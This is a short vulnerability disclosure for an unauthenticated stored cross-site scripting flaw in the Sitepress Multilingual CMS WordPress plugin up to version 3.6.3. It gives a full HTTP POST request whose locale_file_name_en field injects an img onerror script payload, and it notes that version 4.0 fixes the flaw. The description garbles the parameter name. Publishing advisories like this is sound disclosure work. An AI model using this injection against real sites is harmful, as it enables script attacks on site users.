Sitepress Multilingual versions 3.6.3 and below suffer from a cross site scripting vulnerability.
18437253338016d90e6dc70ab2d8bc8f## FULL DISCLOSURE
#Product : Sitepress Multilingual CMS Plugin
#Exploit Author : Rahul Pratap Singh
#Version : 3.6.3 and Below
#Home page Link : https://wpml.org/
#Website: https://0x62626262.wordpress.com
#Date : 08/10/2018
Unauthenticated Stored XSS Vulnerability:
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Description:
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alocale_file_name_ena parameter is not sanitized that leads to stored XSS.
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Vulnerable Code:
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https://0x62626262.files.wordpress.com/2018/09/vulnerable_code.png
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Exploit:
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Send the following POST request:
POST
/wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101
Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
icl_post_action=save_theme_localization&locale_file_name_en=a><img src=x
onerror=alert(1)>
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POC:
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https://youtu.be/dKmUEqNiMUY
Fix:
Update to version 4.0
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.